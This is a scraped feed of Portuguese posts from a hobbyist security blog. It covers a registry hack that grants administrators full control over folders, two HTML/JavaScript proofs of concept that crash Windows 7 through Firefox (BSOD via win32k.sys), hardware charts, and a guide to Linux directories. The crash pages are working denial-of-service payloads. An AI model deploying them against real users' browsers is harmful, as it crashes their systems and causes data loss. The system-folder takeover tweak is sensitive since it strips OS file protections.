<br />
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]<br />
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"<br />
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t" </code><br />
<code><br /></code>
<code><br /></code> Então depois é só clicar com o botão direito do mouse sobre o arquivo e aparecerá "Admin Full Control" aí é só clicar e direitos garantidos. Você poderá fazer o que desejar com o(s) arquivos(s). Geralmente usado em pastas e subpastas do sistema como as "C:\Windows" e posteriores. Tive esse problema quando eu quis parar as funções do <i>TrustedInstaller.exe</i>.<br />
<br />
Vi aqui: <a href="http://www.hardware.com.br/comunidade/permissoes-alterar/1007990/">http://www.hardware.com.br/comunidade/permissoes-alterar/1007990/</a> (thanks to gilito)<br />
<br />
<span style="font-size: xx-small;">Pesquisas relacionadas:</span><br />
<div style="text-align: left;">
</div>
<ul style="text-align: left;">
<li><span style="font-size: xx-small;">grant admin windows</span></li>
<li><span style="font-size: xx-small;">admin full controll</span></li>
<li><span style="font-size: xx-small;">hacking registro</span></li>
<li><span style="font-size: xx-small;">admin privileges</span></li>
<li><span style="font-size: xx-small;">remover trusted installer</span></li>
</ul>
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-35373703801199111702013-07-19T13:12:00.000-03:002013-07-19T13:26:28.445-03:00Falha Blue Screen of Death (BSOD) em execução do Firefox<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='400' height='332' src='https://www.blogger.com/video.g?token=AD6v5dwZYeSEQO7OYk00ZBgbE6v85bNs28MqZjkyr9kSn0cPrn89p9vfVtdFRMuLeJ7tAfIJRd_2CjeF650qJTFyBw' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Firefox 21, Windows 7 - 64bit</div>
Falha que acontece devido a um problema do win32k.sys<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<a name='more'></a><br />
<br />
<div bsod="" class="separator" style="clear: ument.body.appendChild(tob);" type="button" value="BSOD textarea">
</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<code></code></div>
<pre class="bbcode_code" style="background-color: #f2f6f8; background-repeat: repeat no-repeat; border: 1px inset; color: #333333; direction: ltr; font-size: 12px; height: 240px; line-height: 12px; overflow: scroll; padding: 6px;"><html>
<head>
<title>Firefox BSOD unpatched Win7-64bit : "vinnu"</title>
</head>
<body>
<script>
function bsod() {
var tob = document.createElement("textarea");
tob.rows = "1879572480";
alert("BSOD");
var btob = document.body.appendChild(tob);
}
</script>
<input onclick="bsod();" type="button" value="BSOD textarea" />
</body></html></pre>
<code>
</code>
<br />
<div class="separator" style="clear: both; text-align: center;">
<code><br /></code></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: monospace;">Outro código que também funciona:</span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: monospace;"><br /></span></div>
<pre class="bbcode_code" style="background-color: #f2f6f8; background-repeat: repeat no-repeat; border: 1px inset; color: #333333; direction: ltr; font-size: 12px; height: 240px; line-height: 12px; overflow: scroll; padding: 6px;"><html>
<head>
<title>Firefox BSOD win 7 64 bit unpatched ..."vinnu"</title>
</head>
<body>
<script>
function bsod() {
var obj = document.createElement("select");
obj.size = 0x78180000;
var bobj = document.body.appendChild(obj);
}
</script>
<input onclick="bsod();" type="button" value="BSOD Win7" />
</body></html></pre>
<code>
</code>
<div class="separator" style="clear: both; text-align: center;">
<code><br /></code></div>
<code>
<div class="separator" style="clear: both; text-align: center;">
Isso tudo devido ao tamanho do numero de tab rows e do obj.size inseridos, fazem com que a bsod apareça pela falha do win32k.sys</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Onde eu vi:</div>
<a href="http://www.garage4hackers.com/f43/bsod-win7-firefox-%3D-21-0-a-4564.html">http://www.garage4hackers.com/f43/bsod-win7-firefox-%3D-21-0-a-4564.html</a> e<span id="goog_425871424"></span><span id="goog_425871425"></span><a href="http://www.blogger.com/"></a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://vimeo.com/67734591" target="_blank">https://vimeo.com/67734591</a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
</code></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-34930459358870249662013-07-18T11:27:00.001-03:002013-07-18T11:30:56.224-03:00Seriedade e trabalho<div dir="ltr" style="text-align: left;" trbidi="on">
O Dutra Hacking se tornará um blog de segurança da informação mais sério a partir de hoje. Para prévio aviso, serão excluídos alguns posts.<br />
<br />
Obrigado.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-79078556480211951742013-05-28T18:23:00.001-03:002013-05-28T18:25:39.894-03:00Tabelão de eletônica completo - Componentes, Itens e representações<div dir="ltr" style="text-align: left;" trbidi="on">
Essas são outras tabelas e descrições de itens usados na eletônica. Vamos entender um pouco, pelo menos a base, quando vemos os desenhos de projetos de circuitos e tal. Segue em imagens.<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-KNrOyD0zHL8/UaUfjdooNyI/AAAAAAAABZg/mwKZQMk4GgM/s1600/ABAAAAIhoAA-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-KNrOyD0zHL8/UaUfjdooNyI/AAAAAAAABZg/mwKZQMk4GgM/s1600/ABAAAAIhoAA-1.jpg" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-MqhCM2bLtOc/UaUflQijWmI/AAAAAAAABZo/qzHHsb3DGfo/s1600/Componentes_Eletronicos.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://3.bp.blogspot.com/-MqhCM2bLtOc/UaUflQijWmI/AAAAAAAABZo/qzHHsb3DGfo/s320/Componentes_Eletronicos.jpg" width="320" /></a></div>
<br />
<a name='more'></a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-2rT1t3iQMWE/UaUfsMtRJAI/AAAAAAAABZw/H6j5oUI_lZw/s1600/tabela11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-2rT1t3iQMWE/UaUfsMtRJAI/AAAAAAAABZw/H6j5oUI_lZw/s320/tabela11.jpg" width="239" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-XDAbJcJISCo/UaUftfuogcI/AAAAAAAABZ4/GnB2u4_ORTg/s1600/tabela10.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-XDAbJcJISCo/UaUftfuogcI/AAAAAAAABZ4/GnB2u4_ORTg/s320/tabela10.gif" width="230" /> </a> </div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Pesquisas relacionadas:</div>
<ul style="text-align: left;">
<li>tabela eletônica</li>
<li>itens da eletônica</li>
<li>componentes eletrônicos</li>
<li>tabela de componentes</li>
</ul>
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-26091536309894940092013-05-28T18:18:00.000-03:002013-05-28T18:29:04.411-03:00Componentes, entradas e saídas do computador<div dir="ltr" style="text-align: left;" trbidi="on">
Achei essas gigantes tabelas para estudar ports, "ins e outs" do computador. Segue em imagens:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-E8iO3uaFQFA/UaUeF3k4fiI/AAAAAAAABYo/rIva7XGCIwM/s1600/AxLcZc5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-E8iO3uaFQFA/UaUeF3k4fiI/AAAAAAAABYo/rIva7XGCIwM/s320/AxLcZc5.jpg" width="257" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-XbR1pD04Lno/UaUeSwwodSI/AAAAAAAABYw/UZeKxEWdi8E/s1600/computerhardware.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-XbR1pD04Lno/UaUeSwwodSI/AAAAAAAABYw/UZeKxEWdi8E/s320/computerhardware.jpg" width="226" /></a></div>
<br />
<a name='more'></a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-JEobKjrtcYI/UaUeV5_02AI/AAAAAAAABY4/XWzCtfJw6oM/s1600/ports02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-JEobKjrtcYI/UaUeV5_02AI/AAAAAAAABY4/XWzCtfJw6oM/s320/ports02.jpg" width="306" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-L4QbRO6cA-Q/UaUee7gZIiI/AAAAAAAABZA/uDselgWdGH0/s1600/motherboard2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="297" src="http://4.bp.blogspot.com/-L4QbRO6cA-Q/UaUee7gZIiI/AAAAAAAABZA/uDselgWdGH0/s320/motherboard2.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-lkaJGpy5OVA/UaUej4_RH1I/AAAAAAAABZQ/CkYhjVEg3xo/s1600/computer_ports2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://4.bp.blogspot.com/-lkaJGpy5OVA/UaUej4_RH1I/AAAAAAAABZQ/CkYhjVEg3xo/s320/computer_ports2.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-goHiDv7xhv4/UaUeh1ARw_I/AAAAAAAABZI/3WyHTcJvvw8/s1600/motherboard-labelled5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="190" src="http://1.bp.blogspot.com/-goHiDv7xhv4/UaUeh1ARw_I/AAAAAAAABZI/3WyHTcJvvw8/s320/motherboard-labelled5.jpg" width="320" /> </a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-wnuh8PAhmEE/UaUhS1o5DhI/AAAAAAAABaI/CP89ssXHryE/s1600/Computer-Sockets1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-wnuh8PAhmEE/UaUhS1o5DhI/AAAAAAAABaI/CP89ssXHryE/s320/Computer-Sockets1.png" width="228" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-YuzVY9Z66V8/UaUhlYkVoUI/AAAAAAAABaQ/L3XTmTIp-Gk/s1600/figure84.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://2.bp.blogspot.com/-YuzVY9Z66V8/UaUhlYkVoUI/AAAAAAAABaQ/L3XTmTIp-Gk/s320/figure84.png" width="265" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
pesquisas relacionadas:<br />
<ul style="text-align: left;">
<li>computer hardware chart</li>
<li>motherbord chart</li>
<li>tabela entradas e saidas pc</li>
<li>hardware chart</li>
<li>entradas hardware</li>
<li>eletronic hardware inputs outputs</li>
</ul>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-60888324253488007012013-04-21T01:51:00.002-03:002013-04-21T01:59:41.566-03:00Estrutura de diretórios do Linux<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-6Z615pVdbIo/UXNhk6B_CjI/AAAAAAAABW4/a6voygu5ft4/s1600/diretorios+linux.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="272" src="http://3.bp.blogspot.com/-6Z615pVdbIo/UXNhk6B_CjI/AAAAAAAABW4/a6voygu5ft4/s400/diretorios+linux.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Principalmente para aqueles que começaram a usar Linux, existe uma certa dificuldade em se adaptar às pastas do Linux, e o novo usuário acaba ficando perdido e sem entender quase nada, então para que esse usuário não fique perdido, esse post será de grande ajuda.<br />
Segue a lista de diretórios do Linux e suas descrições:<br />
<br />
<br />
<ol style="text-align: left;">
<li><b>/ </b> - Diretório raiz: é nele que estão contidas todas as outras pastas/diretórios do linux;</li>
<li><b>/bin </b> - ("binarys") Diretório onde estão os arquivos executáveis e binários essenciais para o funcionamento do sistema;</li>
<li><b>/boot</b> - Diretório de arquivos necessários para inicializar o sistema, boot-loader, o grub, e principalmente está incluso o Kernel do Linux;</li>
<li><b>/dev</b> - ("devices") Diretório onde estão arquivos relacionados à entrada/saída ("input/output") tais como modens, HDs, cd/dvd, terminais e floppy;</li>
<li><b>/etc</b> - Diretório de arquivos/scripts de inicialização do sistema;</li>
<li><b>/home</b> - Diretório padrão usado pelos usuários;</li>
<li><b>/lib</b> - ("library") Diretório de arquivos de bibliotecas e módulos essenciais (inclusive alguns usados pelo Kernel) usadas por arquivos do /bin e também compartilhados com outros diretórios, </li>
<li><b>/mnt</b> - ("mount") Diretório vazio usado para pontos de montagens de dispositivos e partições;</li>
<li><b>/proc</b> - ("processes") Diretório de processos (RAM) ativos e de informações do Kernel;</li>
<li><b>/opt </b> - ("optional") Diretório onde estão localizados aplicativos e programas não oficiais/que não vem da distro do Linux;<a name='more'></a></li>
<li><b>/root</b> - Diretório de super-usuários (pode não estar presente em todas as distribuições);</li>
<li><b>/sbin</b> - Diretório de arquivos do super-usuário e ferramentas de administração do sistema;</li>
<li><b>/tmp</b> - ("temporary") Diretório de arquivos temporários gerados por alguns utilitários;</li>
<li><b>/usr</b> - ("users") Diretório de arquivos de usuários, seus programas serão instalados aqui;</li>
<li><b>/var</b> - ("variables") Diretório de arquivos de variáveis, logs do sistema;</li>
<li><b>/media</b> - Diretório base de medias removíveis (HDs, pendrives, câmeras digitais, etc.)</li>
<li><b>/sys </b> - ("sys filesystem") Diretório de dados e atualização de dispositivos USB;</li>
<li><b>/srv</b> - ("server") Diretório pouco utilizado nas distribuições, com o intuito de disponibilizar e hospedar dados como por exemplo na web, em servidores http e ftp;</li>
<li><b>/lost+found</b> - Diretório de arquivos possivelmente perdidos em algo inesperado que aconteceu com o sistema (como uma queda de energia) e lá estarão os arquivos perdidos e achados pelo sistema. Só existirá com instalações que foram feitas com <i>"journaling" </i>de recuperações a partir de ext3;</li>
<li><b>/initrd</b> - Diretório usado pelo Kernel na inicialização do boot como um HD virtual criado na memória RAM (RAM disk).</li>
</ol>
<div>
<br /></div>
<div>
<br /></div>
<div>
Fontes:</div>
<div>
<a href="http://fernandopaiva.objectis.net/comandos/estrutura-de-diretorios">http://fernandopaiva.objectis.net/comandos/estrutura-de-diretorios</a></div>
<div>
<a href="http://www.vivaolinux.com.br/dica/Estrutura-de-diretorios-do-Linux">http://www.vivaolinux.com.br/dica/Estrutura-de-diretorios-do-Linux</a></div>
<div>
<a href="http://aptscience.org/2010/08/estrutura-basica-de-diretorios-em-sistemas-linux/">http://aptscience.org/2010/08/estrutura-basica-de-diretorios-em-sistemas-linux/</a></div>
<div>
<a href="http://ivanix.wordpress.com/2008/10/23/estrutura-de-diretorios-no-gnulinux/">http://ivanix.wordpress.com/2008/10/23/estrutura-de-diretorios-no-gnulinux/</a><br />
<a href="http://www.ufrb.edu.br/plugwiki/Estrutura_de_diret%C3%B3rios_do_GNU/Linux">http://www.ufrb.edu.br/plugwiki/Estrutura_de_diret%C3%B3rios_do_GNU/Linux</a></div>
<div>
<br /></div>
<div>
<br /></div>
</div>
Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-3370927311087374382.post-78332708187824119032013-04-14T03:01:00.001-03:002013-04-14T19:19:50.148-03:00Futuro do Dutra Hacking<div dir="ltr" style="text-align: left;" trbidi="on">
É difícil pensar no que poder postar aqui. Não posto muita coisa, principalmente materiais, por ser perigoso para aqueles que não sabem usar. Estou estudando mais e evoluindo. Muitas das coisas, se espalhadas, serão mal usadas e causarão prejuízo indevido. Passou pela minha cabeça fechar o DH, ou restringir ele, poucas pessoas estão participando e lendo dos posts, embora já tenha se tornado um blog sobre segurança bem conhecido.<br />
<br />
Postei coisas que quase me arrependo de ter postado, por ter um conteúdo bem elaborado e influenciador no qual pode fazer com que pessoas ruins usem para o mal. Não há razões para destruir, causar guerras, fazer coisas fúteis, tão em vão. O Dutra Hacking vai continuar como sempre, mas com a opinião de que o melhor esta sempre escondido, e o preço a pagar é alto pela sabedoria e execução da vida underground.<br />
<br />
Alcançamos a marca de 2 mil visitantes por dia, com um pagerank de pouco mais de 2. Sou amplamente grato e satisfeito de ver resultado no meu trabalho de estudo e compartilhamento básico de informações, pelo menos necessárias para começar a se tornar um segurança da informação, um hacker. A minha dica de hoje, é que leiam bastante e com atenção, as coisas aprendidas na informática, e buscar foco em algum tipo de estudo dentro dela.<br />
<br />
Há planos maiores para o futuro, como na formação de uma elite hacker brasileira para competir em wargames e competições pelo Brasil à fora, mas para isso será necessário passar em um vestibular de alto nível computacional e em uma seleção rígida. E num futuro, criação de um hackespace. Bom, isso são planos... <br />
<br />
Evolua, sempre.<br />
<br />
D4k.</div>
Unknownnoreply@blogger.com2